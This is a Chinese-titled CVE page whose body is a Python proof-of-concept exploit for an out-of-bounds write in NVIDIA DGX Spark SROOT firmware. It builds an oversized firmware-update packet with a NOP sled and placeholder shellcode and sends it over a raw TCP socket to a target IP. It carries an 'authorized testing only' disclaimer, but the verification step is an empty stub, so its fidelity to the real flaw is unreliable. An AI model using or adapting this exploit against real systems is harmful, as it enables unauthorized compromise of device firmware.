CVE-2025-33189: NVIDIA DGX Spark GB10 SROOT固件越界写入漏洞

# CVE-2025-33189 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Out-of-Bounds Write # This PoC demonstrates the vulnerability pattern (for authorized security testing only) import struct import socket def create_malicious_payload(): """ Create a malicious payload to trigger out-of-bounds write in SROOT firmware The vulnerability exists in SROOT firmware's boundary check mechanism """ # Firmware update header structure header = bytearray(64) # Magic number for SROOT firmware header[0:4] = b'SRFT' # Firmware version struct.pack_into('<I', header, 4, 0x00010001) # Payload size - exceeds expected boundary # This triggers the out-of-bounds write vulnerability struct.pack_into('<I', header, 8, 0x00010000) # Command type: FIRMWARE_UPDATE struct.pack_into('<I', header, 12, 0x00000001) # Create malicious payload with oversized data payload_size = 0x00010000 # 64KB - triggers boundary overflow payload = bytearray(payload_size) # Fill payload with NOP sled for code injection for i in range(len(payload)): payload[i] = 0x90 # NOP instruction # Add shellcode at the end of payload shellcode_offset = payload_size - 256 shellcode = b'\x90' * 100 + b'\xcc' * 50 # Breakpoint for testing payload[shellcode_offset:shellcode_offset + len(shellcode)] = shellcode # Append payload to header exploit_data = header + payload return exploit_data def send_exploit(target_ip, target_port=5000): """ Send the exploit payload to target device """ payload = create_malicious_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload) print(f"[+] Exploit payload sent ({len(payload)} bytes)") response = sock.recv(1024) print(f"[*] Response: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def verify_vulnerability(): """ Verify if the target is vulnerable """ # Check SROOT firmware version via diagnostic interface diagnostic_cmd = b'\x00\x00\x00\x0aVERSION_QUERY' # Implementation depends on specific device interface # This is a conceptual demonstration pass if __name__ == "__main__": print("CVE-2025-33189 PoC - NVIDIA DGX Spark GB10 SROOT OOB Write") print("=" * 60) print("[!] Warning: This tool is for authorized security testing only") print() # Example usage target_ip = "192.168.1.100" # Target DGX Spark IP send_exploit(target_ip)